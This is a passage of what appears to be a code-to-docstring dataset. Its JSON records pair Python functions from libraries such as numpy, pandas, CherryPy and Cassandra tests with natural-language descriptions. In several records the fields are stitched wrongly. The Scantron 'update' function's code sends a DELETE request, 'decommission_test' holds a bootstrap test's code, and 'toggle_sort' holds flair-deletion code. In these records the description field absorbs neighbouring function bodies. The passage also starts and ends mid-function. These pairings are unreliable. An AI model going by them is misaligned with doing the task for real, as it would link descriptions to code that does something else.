cls_token(self, value):self._cls_token = value@mask_token.setterdef mask_token(self, value):self._mask_token = value@additional_special_tokens.setterdef additional_special_tokens(self, value):self._additional_special_tokens = value@propertydef bos_token_id(self): Id of the beginning of sentence token in the vocabulary. Log an error if used while not having been set. "} {"code": "def __init__(self, shell, source):\n super(CoverArtCompactEntryView, self).__init__(shell, source)\n", "nl": "Initializes the entryview."} {"code": "def energies(samples: list, w: np.ndarray, wp: np.ndarray) -> Union[list, float]:\n if not isinstance(samples[0], list):\n return np.dot(samples[: len(samples) // 2], wp) - np.dot(samples[len(samples) // 2 :], w)\n\n return [np.dot(s[: len(s) // 2], wp) - np.dot(s[len(s) // 2 :], w) for s in samples]\n\n", "nl": "rComputes the energy :math:`E = \\sum_{k=1}^{N}m_k\\omega'_k - \\sum_{k=N+1}^{2N}n_k\\omega_k`of each GBS sample in units of :math:`\\text{cm}^{-1}`.**Example usage:**>>> samples = [[1, 1, 0, 0, 0, 0], [1, 2, 0, 0, 1, 1]]>>> w = np.array([300.0, 200.0, 100.0])>>> wp = np.array([700.0, 600.0, 500.0])>>> energies(samples, w, wp)[1300.0, 1600.0]Args:samples (list[list[int]] or list[int]): a list of samples from GBS, or alternatively asingle samplew (array): normal mode frequencies of initial state in units of :math:`\\text{cm}^{-1}`wp (array): normal mode frequencies of final state in units of :math:`\\text{cm}^{-1}`Returns:list[float] or float: list of GBS sample energies in units of :math:`\\text{cm}^{-1}`, ora single sample energy if only one sample is input"} {"code": "def clean(self, value):\n if self.required and not value:\n raise ValidationError(self.error_messages['required'])\n elif not self.required and not value:\n return []\n if not isinstance(value, (list, tuple)):\n raise ValidationError(self.error_messages['invalid_list'])\n new_value = [smart_unicode(val) for val in value]\n for val in new_value:\n if not self.valid_value(val):\n raise ValidationError(self.error_messages['invalid_choice'] % {'value': val})\n return new_value\n\nclass ComboField(Field):\n \"\"\"", "nl": "Validates that the input is a list or tuple."} {"code": "def test_do_scaninfo(self):\n sfcli = SpiderFootCli()\n sfcli.do_scaninfo(None)\n\n self.assertEqual('TBD', 'TBD')\n", "nl": "Test do_scaninfo(self, line)"} {"code": "def krb_username(self):\n return self._krb_username\n\n @krb_username.setter", "nl": "Gets the krb_username of this V1alpha1HDFSArtifact. # noqa: E501KrbUsername is the Kerberos username used with Kerberos keytab It must be set if keytab is used. # noqa: E501:return: The krb_username of this V1alpha1HDFSArtifact. # noqa: E501:rtype: str"} {"code": "def update_globally_excluded_target(self, globally_excluded_target_id, payload):\n return self.scantron_api_query(f\"/api/globally_excluded_targets/{globally_excluded_target_id}\", method=\"DELETE\")\n", "nl": "Update globally excluded target for specific globally excluded target ID.return self.scantron_api_query(f\"/api/globally_excluded_targets/{globally_excluded_target_id}\", method=\"PATCH\", payload=payload)def delete_globally_excluded_target(self, globally_excluded_target_id):Delete a globally excluded target."} {"code": "def get_group_index_sorter(group_index, ngroups: int):\n count = len(group_index)\n alpha = 0.0\n beta = 1.0\n do_groupsort = count > 0 and ((alpha + beta * ngroups) < (count * np.log(count)))\n if do_groupsort:\n sorter, _ = algos.groupsort_indexer(ensure_int64(group_index), ngroups)\n return ensure_platform_int(sorter)\n else:\n return group_index.argsort(kind=\"mergesort\")\n\n", "nl": "algos.groupsort_indexer implements `counting sort` and it is at leastO(ngroups), wherengroups = prod(shape)shape = map(len, keys)that is, linear in the number of combinations (cartesian product) of uniquevalues of groupby keys. This can be huge when doing multi-key groupby.np.argsort(kind='mergesort') is O(count x log(count)) where count is thelength of the data-frame;Both algorithms are `stable` sort and that is necessary for correctness ofgroupby operations. e.g. consider:df.groupby(key)[col].transform('first')"} {"code": "def _EscapeCommandLineArgumentForMSVS(s):\n", "nl": "Escapes a Windows command-line argument.So that the Win32 CommandLineToArgv function will turn the escaped result backinto the original string.See http://msdn.microsoft.com/en-us/library/17w5ykft.aspx(\"Parsing C++ Command-Line Arguments\") to understand why we have to dothis.Args:s: the string to be escaped.Returns:the escaped string."} {"code": "def writestring():\n", "nl": ">>> elem = ET.XML(\"text\")>>> ET.tostring(elem)'text'>>> elem = ET.fromstring(\"text\")>>> ET.tostring(elem)'text'"} {"code": "def write(self, data):\n", "nl": "The WSGI I{write} callable returned by the I{start_response} callable.The given bytes will be written to the response body, possibly flushingthe status and headers first.This will be called in a non-I/O thread."} {"code": "def decommission_test(self):\n cluster = self.cluster\n cluster.set_configuration_options(values={'hinted_handoff_enabled': False, 'commitlog_sync_period_in_ms': 500})\n cluster.populate(3).start()\n node1, node2, node3 = cluster.nodelist()\n\n session = self.patient_exclusive_cql_connection(node3)\n session.execute(\"CREATE KEYSPACE ks WITH REPLICATION={'class':'SimpleStrategy', 'replication_factor': 2}\")\n session.execute(\"CREATE TABLE ks.tbl (k INT PRIMARY KEY, v INT)\")\n\n stmt = SimpleStatement(\"INSERT INTO ks.tbl (k,v) VALUES (%s, %s)\")\n for i in range(1000):\n session.execute(stmt, (i, i))\n\n node1.repair(options=['ks'])\n\n for i in range(1000):\n v = i + 1000\n session.execute(stmt, (v, v))\n\n for node in [node1, node2, node3]:\n result = node.repair(options=['ks', '--validate'])\n self.assertIn(\"Repaired data is in sync\", result.stdout)\n\n node4 = new_node(self.cluster)\n node4.start(wait_for_binary_proto=True)\n\n self.assertEqual(len(self.cluster.nodelist()), 4)\n for node in self.cluster.nodelist():\n result = node.repair(options=['ks', '--validate'])\n self.assertIn(\"Repaired data is in sync\", result.stdout)", "nl": " Test repaired data remains in sync after a decommission cluster = self.clustercluster.set_configuration_options(values={'hinted_handoff_enabled': False, 'commitlog_sync_period_in_ms': 500})cluster.populate(4).start()node1, node2, node3, node4 = cluster.nodelist()session = self.patient_exclusive_cql_connection(node3)session.execute(\"CREATE KEYSPACE ks WITH REPLICATION={'class':'SimpleStrategy', 'replication_factor': 2}\")session.execute(\"CREATE TABLE ks.tbl (k INT PRIMARY KEY, v INT)\")# insert some datastmt = SimpleStatement(\"INSERT INTO ks.tbl (k,v) VALUES (%s, %s)\")for i in range(1000):session.execute(stmt, (i, i))node1.repair(options=['ks'])for i in range(1000):v = i + 1000session.execute(stmt, (v, v))# everything should be in syncfor node in cluster.nodelist():result = node.repair(options=['ks', '--validate'])self.assertIn(\"Repaired data is in sync\", result.stdout)node2.nodetool('decommission')# everything should still be in syncfor node in [node1, node3, node4]:result = node.repair(options=['ks', '--validate'])self.assertIn(\"Repaired data is in sync\", result.stdout)@no_vnodes()@since('4.0')def bootstrap_test(self): Test repaired data remains in sync after a bootstrap "} {"code": "def info(msg, *args, **kwargs):\n if len(root.handlers) == 0:\n basicConfig()\n root.info(msg, *args, **kwargs)\n", "nl": "Log a message with severity 'INFO' on the root logger."} {"code": "def defer(self):\n task_lease_timeout = TASK_LEASE_SECONDS_BY_COMMAND.get(\n self.command, get_task_lease_timeout())\n\n environment.set_value('TASK_LEASE_SECONDS', task_lease_timeout)\n track_task_start(self, task_lease_timeout)\n\n if _event is None:\n _event = threading.Event()\n\n leaser_thread = _PubSubLeaserThread(self._pubsub_message, _event,\n task_lease_timeout)\n leaser_thread.start()\n try:\n yield leaser_thread\n finally:\n _event.set()\n leaser_thread.join()\n\n self._pubsub_message.ack()\n track_task_end()\n\n\nclass _PubSubLeaserThread(threading.Thread):\n \"\"\"Thread that continuously renews the lease for a message.\"\"\"", "nl": "Defer a task until its ETA. Returns whether or not we deferred.now = utils.utcnow()if now >= self.eta:return False# Extend the deadline until the ETA, or MAX_ACK_DEADLINE.time_until_eta = int((self.eta - now).total_seconds())logs.log('Deferring task \"%s\".' % self.payload())self._pubsub_message.modify_ack_deadline(min(pubsub.MAX_ACK_DEADLINE, time_until_eta))return True@contextlib.contextmanagerdef lease(self, _event=None): # pylint: disable=arguments-differMaintain a lease for the task."} {"code": "def encode_outputs(self, sents):\n output_encodings = []\n sents = self.get_fixed_size(sents)\n for sent in sents:\n output_encodings.append(list(np_utils.to_categorical(list(self.transform_labels(sent.label.values)),\n num_classes = self.num_of_classes())))\n\n return np.ndarray(shape = (len(sents),\n self.sent_maxlen,\n self.num_of_classes()),\n buffer = np.array(pad_sequences(output_encodings,\n lambda : \\\n np.zeros(self.num_of_classes()),\n maxlen = self.sent_maxlen)))\n", "nl": "Given a dataframe split to sentences, encode outputs for rnn classification.Should return a list sequence of sample of length maxlen."} {"code": "def __init__(self, file_name=None):\n self.file_name = file_name\n self.sg_coefs = None\n if file_name is not None:\n self.bam = Samfile(file_name, \"rb\")\n", "nl": "Initializes GenomicSignal."} {"code": "def from_dict(self, d={}):\n return pprint.pformat(self.to_dict(), indent=indent)\n\n\nclass LammpsInput(object):\n \"\"\"Construct LAMMPS input.\"\"\"", "nl": "Construct from a dictionary.return LammpsData(lammps_box=d[\"box\"],species=d[\"species\"],charges=d[\"charges\"],cart_coords=d[\"cart_coords\"],element_order=d[\"element_order\"],)def __repr__(self, indent=4):Print method."} {"code": "def handler(key_file=None, cert_file=None, timeout=None, verify=False):\n", "nl": "This class returns an instance of the default HTTP request handler usingthe values you provide.:param `key_file`: A path to a PEM (Privacy Enhanced Mail) formatted file containing your private key (optional).:type key_file: ``string``:param `cert_file`: A path to a PEM (Privacy Enhanced Mail) formatted file containing a certificate chain file (optional).:type cert_file: ``string``:param `timeout`: The request time-out period, in seconds (optional).:type timeout: ``integer`` or \"None\":param `verify`: Set to False to disable SSL verification on https connections.:type verify: ``Boolean``"} {"code": "def basic_to_bio(tags):\n new_tags = []\n for i, tag in enumerate(tags):\n if tag == 'O':\n new_tags.append(tag)\n elif i == 0 or tags[i-1] == 'O' or tags[i-1] != tag:\n new_tags.append('B-' + tag)\n else:\n new_tags.append('I-' + tag)\n return new_tags\n\n", "nl": "Convert a basic tag sequence into a BIO sequence.You can compose this with bio2_to_bioes to convert to bioesArgs:tags: a list of tags in basic (no B-, I-, etc) formatReturns:new_tags: a list of tags in BIO format"} {"code": "def xcorr_fast(x, kernel):\n batch = kernel.size()[0]\n pk = kernel.view(-1, x.size()[1], kernel.size()[2], kernel.size()[3])\n px = x.view(1, -1, x.size()[2], x.size()[3])\n po = F.conv2d(px, pk, groups=batch)\n po = po.view(batch, -1, po.size()[2], po.size()[3])\n return po\n\n", "nl": "group conv2d to calculate cross correlation, fast version"} {"code": "def _strptime_time(data_string, format=\"%a %b %d %H:%M:%S %Y\"):\n tt = _strptime(data_string, format)[0]\n return time.struct_time(tt[:time._STRUCT_TM_ITEMS])\n", "nl": "Return a time struct based on the input string and theformat string."} {"code": "def explain(self):\n return self.__get_query_result().cursor.explain()\n", "nl": " Executes an explain operation on the database for the currentquery and returns the raw explain object returned."} {"code": "def delete(self, resource_id):\n resource = self._resource(resource_id)\n error_message = is_valid_method(self.__model__, resource)\n if error_message:\n raise BadRequestException(error_message)\n db.session().delete(resource)\n db.session().commit()\n return self._no_content_response()\n\n @etag", "nl": "Return an HTTP response object resulting from a HTTP DELETE call.:param resource_id: The value of the resource's primary key"} {"code": "def set_full(self, vflags: int):\n self.version = vflags >> 24\n self.flags = vflags & 0x00ffffff\n\n\nclass HEICExifFinder:\n", "nl": "ISO boxes come in 'old' and 'full' variants.The 'full' variant contains version and flags information."} {"code": "def clip(a, a_min, a_max, out=None, **kwargs):\n return _wrapfunc(a, 'clip', a_min, a_max, out=out, **kwargs)\n\n", "nl": "Clip (limit) the values in an array.Given an interval, values outside the interval are clipped tothe interval edges. For example, if an interval of ``[0, 1]``is specified, values smaller than 0 become 0, and values largerthan 1 become 1.Equivalent to but faster than ``np.maximum(a_min, np.minimum(a, a_max))``.No check is performed to ensure ``a_min < a_max``.Parameters----------a : array_likeArray containing elements to clip.a_min : scalar or array_like or NoneMinimum value. If None, clipping is not performed on lowerinterval edge. Not more than one of `a_min` and `a_max` may beNone.a_max : scalar or array_like or NoneMaximum value. If None, clipping is not performed on upperinterval edge. Not more than one of `a_min` and `a_max` may beNone. If `a_min` or `a_max` are array_like, then the threearrays will be broadcasted to match their shapes.out : ndarray, optionalThe results will be placed in this array. It may be the inputarray for in-place clipping. `out` must be of the right shapeto hold the output. Its type is preserved.**kwargsFor other keyword-only arguments, see the:ref:`ufunc docs `... versionadded:: 1.17.0Returns-------clipped_array : ndarrayAn array with the elements of `a`, but where values< `a_min` are replaced with `a_min`, and those > `a_max`with `a_max`.See Also--------ufuncs-output-typeExamples-------->>> a = np.arange(10)>>> np.clip(a, 1, 8)array([1, 1, 2, 3, 4, 5, 6, 7, 8, 8])>>> aarray([0, 1, 2, 3, 4, 5, 6, 7, 8, 9])>>> np.clip(a, 3, 6, out=a)array([3, 3, 3, 3, 4, 5, 6, 6, 6, 6])>>> a = np.arange(10)>>> aarray([0, 1, 2, 3, 4, 5, 6, 7, 8, 9])>>> np.clip(a, [3, 4, 1, 1, 1, 4, 4, 4, 4, 4], 8)array([3, 4, 2, 3, 4, 5, 6, 7, 8, 8])"} {"code": "def test_username_password_new(self):\n clock = Clock()\n sessions = SessionStore(clock)\n clock.advance(4321)\n session = sessions.session_for_username_password(\"example_user\",\n \"password\")\n self.assertEqual(session.username, \"example_user\")\n self.assertEqual(session.expires,\n datetime.utcfromtimestamp(4321 + 86400))\n self.assertIsInstance(session.tenant_id, six.text_type)\n self.assertIsInstance(session.token, six.text_type)\n self.assertNotEqual(session.username, session.token)\n self.assertNotEqual(session.token, session.tenant_id)\n", "nl": "SessionStore.session_for_username_password creates a new session (if nosuch session exists for the given username)."} {"code": "def on_table_del(self, table: CollectionT, key: typing.Any) -> None:\n super().on_commit_completed(consumer, state)\n self.consumer_commit_latency.observe(\n self.ms_since(typing.cast(float, state)))\n", "nl": "Call when key in a table is deleted.super().on_table_del(table, key)self.table_operations.labels(table=f'table.{table.name}',operation=self.KEYS_DELETED).inc()def on_commit_completed(self, consumer: ConsumerT,state: typing.Any) -> None:Call when consumer commit offset operation completed."} {"code": "def iou_pred(boxes, box_deltas):\n if boxes.shape[0] == 0:\n return np.zeros((0, box_deltas.shape[1]))\n\n boxes = boxes.astype(np.float, copy=False)\n x1 = boxes[:, 0]\n y1 = boxes[:, 1]\n x2 = boxes[:, 2]\n y2 = boxes[:, 3]\n\n dx1 = box_deltas[:, 0::4]\n dy1 = box_deltas[:, 1::4]\n dx2 = box_deltas[:, 2::4]\n dy2 = box_deltas[:, 3::4]\n\n pred_boxes = np.zeros(box_deltas.shape)\n pred_boxes[:, 0::4] = dx1 + x1[:, np.newaxis]\n pred_boxes[:, 1::4] = dy1 + y1[:, np.newaxis]\n pred_boxes[:, 2::4] = dx2 + x2[:, np.newaxis]\n pred_boxes[:, 3::4] = dy2 + y2[:, np.newaxis]\n\n return pred_boxes\n\n", "nl": "Transform the set of class-agnostic boxes into class-specific boxesby applying the predicted offsets (box_deltas):param boxes: !important [N 4]:param box_deltas: [N, 4 * num_classes]:return: [N 4 * num_classes]"} {"code": "def _construct_graph(synsets):\n graph = nx.DiGraph()\n seen = set()\n", "nl": "construct a graph for synsets using WordNet and NetworkX:param synsets: synsets need to be added:return graph: constructed graph"} {"code": "def collapse_body(self):\n try:\n code, reason, _ = httputil.valid_status(self.status)\n except ValueError:\n raise cherrypy.HTTPError(500, sys.exc_info()[1].args[0])\n\n headers = self.headers\n\n self.status = \"%s %s\" % (code, reason)\n self.output_status = ntob(str(code), 'ascii') + ntob(\" \") + headers.encode(reason)\n\n if self.stream:\n if dict.get(headers, 'Content-Length') is None:\n dict.pop(headers, 'Content-Length', None)\n elif code < 200 or code in (204, 205, 304):\n dict.pop(headers, 'Content-Length', None)\n self.body = ntob(\"\")\n else:\n if dict.get(headers, 'Content-Length') is None:\n content = self.collapse_body()\n dict.__setitem__(headers, 'Content-Length', len(content))\n\n self.header_list = h = headers.output()\n\n cookie = self.cookie.output()\n if cookie:\n for line in cookie.split(\"\\n\"):\n if line.endswith(\"\\r\"):\n line = line[:-1]\n name, value = line.split(\": \", 1)\n if isinstance(name, unicodestr):\n name = name.encode(\"ISO-8859-1\")\n if isinstance(value, unicodestr):\n value = headers.encode(value)\n h.append((name, value))\n", "nl": "Collapse self.body to a single string; replace it and return it.if isinstance(self.body, basestring):return self.bodynewbody = []for chunk in self.body:if py3k and not isinstance(chunk, bytes):raise TypeError(\"Chunk %s is not of type 'bytes'.\" % repr(chunk))newbody.append(chunk)newbody = ntob('').join(newbody)self.body = newbodyreturn newbodydef finalize(self):Transform headers (and cookies) into self.header_list. (Core)"} {"code": "def only(iterable, default=None, too_long=None):\n it = iter(iterable)", "nl": "If *iterable* has only one item, return it.If it has zero items, return *default*.If it has more than one item, raise the exception given by *too_long*,which is ``ValueError`` by default.>>> only([], default='missing')'missing'>>> only([1])1>>> only([1, 2]) # doctest: +IGNORE_EXCEPTION_DETAILTraceback (most recent call last):...ValueError: too many items in iterable (expected 1)'>>> only([1, 2], too_long=TypeError) # doctest: +IGNORE_EXCEPTION_DETAILTraceback (most recent call last):...TypeErrorNote that :func:`only` attempts to advance *iterable* twice to ensure thereis only one item. See :func:`spy` or :func:`peekable` to checkiterable contents less destructively."} {"code": "def getdelimited(self, beginchar, endchars, allowcomments = 1):\n if self.field[self.pos] != beginchar:\n return ''\n\n slist = ['']\n quote = 0\n self.pos += 1\n while self.pos < len(self.field):\n if quote == 1:\n slist.append(self.field[self.pos])\n quote = 0\n elif self.field[self.pos] in endchars:\n self.pos += 1\n break\n elif allowcomments and self.field[self.pos] == '(':\n slist.append(self.getcomment())\n continue\n elif self.field[self.pos] == '\\\\':\n quote = 1\n else:\n slist.append(self.field[self.pos])\n self.pos += 1\n\n return ''.join(slist)\n", "nl": "Parse a header fragment delimited by special characters.`beginchar' is the start character for the fragment. If self is notlooking at an instance of `beginchar' then getdelimited returns theempty string.`endchars' is a sequence of allowable end-delimiting characters.Parsing stops when one of these is encountered.If `allowcomments' is non-zero, embedded RFC 2822 comments are allowedwithin the parsed fragment."} {"code": "def _get_log_level(level: Union[str, int, None]) -> Union[str, int]:\n frame = inspect.currentframe()\n caller_frame = frame.f_back.f_back.f_back\n return caller_frame.f_globals[\"__name__\"]\n\n", "nl": "Returns preferred log level set by the customer in upper caseif isinstance(level, int):return levellog_level: Optional[str] = level or os.getenv(\"LOG_LEVEL\")if log_level is None:return logging.INFOreturn log_level.upper()@staticmethoddef _get_caller_filename():Return caller filename by finding the caller frame"} {"code": "def add_hist_image_summary(values, bins, name):\n", "nl": "Adds a tf.summary.image for a histogram plot of the values.Plots the histogram of values and creates a tf image summary.Args:values: a 1-D float32 tensor containing the values.bins: bin edges which will be directly passed to np.histogram.name: name for the image summary."} {"code": "def test_read_bzip2_file(self):\n path = os.path.dirname(__file__)\n ascii_path = os.path.join(path, \"..\", \"..\", \"io\", \"ascii\",\n \"tests\", \"data\")\n st1 = read(os.path.join(ascii_path, 'slist.ascii.bz2'))\n st2 = read(os.path.join(ascii_path, 'slist.ascii'))\n assert st1 == st2\n", "nl": "Tests reading bzip2 compressed waveforms."} {"code": "def __init__(self, optimizer, swa_freq=None, swa_lr_factor=None):\n self._auto_mode, (self.swa_freq,) = self._check_params(swa_freq)\n self.swa_lr_factor = swa_lr_factor\n\n if self._auto_mode:\n if swa_freq < 1:\n raise ValueError(\"Invalid swa_freq: {}\".format(swa_freq))\n else:\n if self.swa_lr_factor is not None:\n warnings.warn(\n \"Swa_freq is None, ignoring swa_lr\")\n self.swa_lr_factor = None\n self.swa_freq = None\n\n if self.swa_lr_factor is not None and self.swa_lr_factor < 0:\n raise ValueError(\"Invalid SWA learning rate factor: {}\".format(swa_lr_factor))\n\n self.optimizer = optimizer\n", "nl": "rImplements Stochastic Weight Averaging (SWA).Stochastic Weight Averaging was proposed in `Averaging Weights Leads toWider Optima and Better Generalization`_ by Pavel Izmailov, DmitriiPodoprikhin, Timur Garipov, Dmitry Vetrov and Andrew Gordon Wilson(UAI 2018).SWA is implemented as a wrapper class taking optimizer instance as inputand applying SWA on top of that optimizer.SWA can be used in two modes: automatic and manual. In the automaticmode SWA running averages are automatically updated every:attr:`swa_freq` steps after :attr:`swa_start` steps of optimization. If:attr:`swa_lr` is provided, the learning rate of the optimizer is resetto :attr:`swa_lr` at every step starting from :attr:`swa_start`. To useSWA in automatic mode provide values for both :attr:`swa_start` and:attr:`swa_freq` arguments.Alternatively, in the manual mode, use :meth:`update_swa` or:meth:`update_swa_group` methods to update the SWA running averages.In the end of training use `swap_swa_sgd` method to set the optimizedvariables to the computed averages.Args:swa_freq (int): number of steps between subsequent updates ofSWA running averages in automatic mode; if None, manual mode isselected (default: None)swa_lr (float): learning rate to use starting from step swa_startin automatic mode; if None, learning rate is not changed(default: None)Examples:>>> # automatic mode>>> base_opt = torch.optim.SGD(model.parameters(), lr=0.1)>>> opt = SWA(base_opt, swa_start=10, swa_freq=5, swa_lr=0.05)>>> for _ in range(100):>>> opt.zero_grad()>>> loss_fn(model(input), target).backward()>>> opt.step()>>> opt.swap_swa_param()>>> # manual mode>>> opt = SWA(base_opt)>>> for i in range(100):>>> opt.zero_grad()>>> loss_fn(model(input), target).backward()>>> opt.step()>>> if i > 10 and i % 5 == 0:>>> opt.update_swa()>>> opt.swap_swa_param().. note::SWA does not support parameter-specific values of :attr:`swa_start`,:attr:`swa_freq` or :attr:`swa_lr`. In automatic mode SWA uses thesame :attr:`swa_start`, :attr:`swa_freq` and :attr:`swa_lr` for allparameter groups. If needed, use manual mode with:meth:`update_swa_group` to use different update schedules fordifferent parameter groups... note::Call :meth:`swap_swa_sgd` in the end of training to use the computedrunning averages... note::If you are using SWA to optimize the parameters of a Neural Networkcontaining Batch Normalization layers, you need to update the:attr:`running_mean` and :attr:`running_var` statistics of theBatch Normalization module. You can do so by using`torchcontrib.optim.swa.bn_update` utility... note::See the blogposthttps://pytorch.org/blog/stochastic-weight-averaging-in-pytorch/for an extended description of this SWA implementation... note::The repo https://github.com/izmailovpavel/contrib_swa_examplescontains examples of using this SWA implementation... _Averaging Weights Leads to Wider Optima and Better Generalization:https://arxiv.org/abs/1803.05407.. _Improving Consistency-Based Semi-Supervised Learning with WeightAveraging:https://arxiv.org/abs/1806.05594"} {"code": "def run_model(self, config, entity_vocab_size):\n config = copy.deepcopy(self.config)\n config['model_config']['encoder_config']['k_top_device'] = qa_k_top_device\n config['model_config']['encoder_config'][\n 'k_top_post_selection'] = qa_k_top_post_selection\n config['model_config']['encoder_config'][\n 'separate_memory_values'] = separate_memory_values\n if qa_k_top_post_selection is None:\n config['save_k_retrieval'] = None\n self.run_model(config, 1000)\n\n\nif __name__ == '__main__':\n absltest.main()", "nl": "Initialize and run the model once, perform sanity checks.np.random.seed(0)# Save arrays to test retrieval saver.memory_identifiers = np.arange(self.table_size)memory_identifiers = jax.device_put_replicated(memory_identifiers,self.devices)memory_entity_ids = memory_identifiersconfig['memory_entity_id_pattern'] = self.save_sharded_array(memory_entity_ids, 'memory_entity_id')memory_text = np.random.randint(config['model_config']['encoder_config']['vocab_size'],size=(self.n_devices, self.table_size, self.memory_text_length),dtype=np.int32)config['memory_text_pattern'] = self.save_sharded_array(memory_text, 'memory_text')memory_positions = np.random.randint(self.memory_text_length,size=(self.n_devices, self.table_size, 2),dtype=np.int32)config['memory_positions_pattern'] = self.save_sharded_array(memory_positions, 'memory_positions')config = ml_collections.FrozenConfigDict(config)model_config = config.model_configencoder_config = model_config.encoder_configrows = encoder_config.rowspreprocess_fn = mention_based_entity_qa_task.MentionBasedEntityQATask.make_preprocess_fn(config) # pylint: disable=line-too-longcollater_fn = mention_based_entity_qa_task.MentionBasedEntityQATask.make_collater_fn(config)postprocess_fn = mention_based_entity_qa_task.MentionBasedEntityQATask.make_output_postprocess_fn(config)model = mention_based_entity_qa_task.MentionBasedEntityQATask.build_model(model_config)dummy_input = mention_based_entity_qa_task.MentionBasedEntityQATask.dummy_input(config)dummy_input = jax.device_put_replicated(dummy_input, self.devices)init_rng = jax.random.PRNGKey(0)split_rng = jax.random.split(init_rng, self.n_devices)memory_table = np.random.rand(rows, self.table_size // rows,encoder_config.memory_key_dim)memory_keys = jax.device_put_replicated(memory_table, self.devices)memory_values = memory_table.reshape(-1, encoder_config.memory_key_dim)memory_values = jax.device_put_replicated(memory_values, self.devices)initial_variables = jax.pmap(model.init, 'batch', static_broadcasted_argnums=2)(split_rng,dummy_input,True,)initial_variables = {'params': initial_variables['params']}initial_variables['constants'] = {'encoder': {'memory_keys': memory_keys,'memory_values': memory_values,'memory_identifiers': memory_identifiers,'memory_entity_ids': memory_entity_ids,}}def sample_batch():processed_examples = []for _ in range(config.per_device_batch_size):raw_example = test_utils.gen_mention_pretraining_sample(self.text_length,self.n_mentions,self.n_linked_mentions,entity_vocab_size=entity_vocab_size,max_length=encoder_config.max_length)processed_example = preprocess_fn(raw_example)processed_examples.append(processed_example)batch = stack(processed_examples)batch = collater_fn(batch)batch = {key: test_utils.tensor_to_numpy(value)for key, value in batch.items()}return batchbatch = stack([sample_batch() for _ in range(self.n_devices)])batch = {key: jax.device_put_sharded(list(value), self.devices)for key, value in batch.items()}loss_fn = jax.pmap(mention_based_entity_qa_task.MentionBasedEntityQATask.make_loss_fn(config),'batch',static_broadcasted_argnums=(0, 4))_, metrics, auxiliary_output = loss_fn(model_config,initial_variables['params'],{'constants': initial_variables['constants']},batch,True,)self.assertArrayEqual(metrics['agg']['denominator'],batch['mention_target_weights'].sum(1))features = postprocess_fn(batch, auxiliary_output)# Check features are JSON-serializablejson.dumps(features)# Check features match the original batchfor key in batch.keys():self.assertArrayEqual(np.array(features[key]), batch[key])n_mentions_per_device = (config.per_device_batch_size * config.max_mention_targets)k_top_final = (encoder_config.final_k_top_post_selection orencoder_config.final_k_top_device * self.n_devices)self.assertSequenceEqual(np.array(features['memory_text']).shape, [self.n_devices, n_mentions_per_device, k_top_final,self.memory_text_length])self.assertSequenceEqual(np.array(features['memory_positions']).shape,[self.n_devices, n_mentions_per_device, k_top_final, 2])return batch, initial_variables, metrics@parameterized.parameters((False, 2, None),(True, 2, None),(False, 3, 5),(True, 3, 5),)def test_loss_fn(self,separate_memory_values,qa_k_top_device,qa_k_top_post_selection,):Test loss function runs and produces expected values."} {"code": "def toggle_sort(post):\n try:\n sub = Sub.get(fn.Lower(Sub.name) == sub.lower())\n except Sub.DoesNotExist:\n return jsonify(status=\"error\", error=[_(\"Sub does not exist\")])\n\n if not current_user.is_mod(sub.sid, 1) and not current_user.is_admin():\n abort(403)\n\n form = DeleteSubFlair()\n if form.validate():\n try:\n flair = SubUserFlairChoice.get(\n (SubUserFlairChoice.sid == sub.sid)\n & (SubUserFlairChoice.id == form.flair.data)\n )\n except SubFlair.DoesNotExist:\n return jsonify(status=\"error\", error=[_(\"Flair does not exist\")])\n\n flair.delete_instance()\n cache.delete_memoized(misc.get_sub_flair_choices, sub.sid)\n return jsonify(status=\"ok\")\n return json.dumps({\"status\": \"error\", \"error\": get_errors(form)})\n\n\n@do.route(\"/do/flair//create_user\", methods=[\"POST\"])\n@login_required", "nl": " Toggles comment sort for a post. try:post = SubPost.get(SubPost.pid == post)except SubPost.DoesNotExist:return jsonify(status=\"error\", error=_(\"Post does not exist\"))if not current_user.is_mod(post.sid_id):abort(403)form = DeletePost()if form.validate():try:smd = (SubPostMetadata.select().where((SubPostMetadata.key == \"sort\") & (SubPostMetadata.pid == post.pid)).get())smd.value = \"best\" if smd.value == \"new\" else \"new\"if (smd.value == \"best\"and post.posted < misc.get_best_comment_sort_init_date()):smd.value = \"top\"smd.save()except SubPostMetadata.DoesNotExist:smd = SubPostMetadata.create(pid=post.pid, key=\"sort\", value=\"new\")misc.create_sublog(misc.LOG_TYPE_STICKY_SORT_NEWif smd.value == \"new\"else misc.LOG_TYPE_STICKY_SORT_TOP_OR_BEST,current_user.uid,post.sid,link=url_for(\"sub.view_post\", sub=post.sid.name, pid=post.pid),)return jsonify(status=\"ok\",redirect=url_for(\"sub.view_post\", sub=post.sid.name, pid=post.pid, sort=smd.value),)return jsonify(status=\"error\", error=get_errors(form))@do.route(\"/do/flair//delete_user\", methods=[\"POST\"])@login_requireddef delete_user_flair(sub): Removes a flair (from edit flair page) "} {"code": "def __set_generator(self, *args):\n for index, key in enumerate(args):\n yield set(self.smembers(key))\n", "nl": "iterable for the custom set methods: [\"sinter\", \"sdiff\", \"sunion\"]returns related set's members as python's built-in set."} {"code": "def nested_aggregates(self):\n return exclusions.open()\n\n @property", "nl": "target database can select an aggregate from a subquery that'salso using an aggregate"} {"code": "def iou_score(bboxA, bboxB):\n\tif intersect(bboxA, bboxB):\n\t\tintersection_area = area(intersect(bboxA, bboxB))\n\telse:\n\t\tintersection_area = 0\n\tunion_area = area(bboxA) + area(bboxB) - intersection_area\n\tif union_area > 0:\n\t\treturn float(intersection_area) / float(union_area)\n\telse:\n\t\treturn 0\n", "nl": "Returns the Intersection-over-Union score, defined as the area ofthe intersection divided by the intersection over the union ofthe two bounding boxes. This measure is symmetric."} {"code": "def filter(self, *types, exclude=False):\n\n https://core.telegram.org/bots/api\n \"\"\"", "nl": "Get only some types of entitiesresult = []for entity in self._calculate_entities():# If the entity type is in the allowed ones and exclude is False OR# if the entity type isn't in the allowed ones and exclude is Trueif (entity.type in types) ^ exclude:result.append(entity)return result# Provide a basic list-like interface; you can always mutate this object to# a list with list(self) if you need more advanced methodsdef __iter__(self):return iter(self._calculate_entities())def __getitem__(self, index):return self._calculate_entities()[index]def __contains__(self, key):# This checks if a given type is in the entities listreturn key in (entity.type for entity in self._entities)class Message(BaseObject, mixins.MessageMixin):Telegram API representation of a message"} {"code": "def build_optim(args, model, checkpoint):\n\n if checkpoint is not None:\n optim = checkpoint['optims'][0]\n saved_optimizer_state_dict = optim.optimizer.state_dict()\n optim.optimizer.load_state_dict(saved_optimizer_state_dict)\n if args.visible_gpus != '-1':\n for state in optim.optimizer.state.values():\n for k, v in state.items():\n if torch.is_tensor(v):\n state[k] = v.cuda()\n\n if 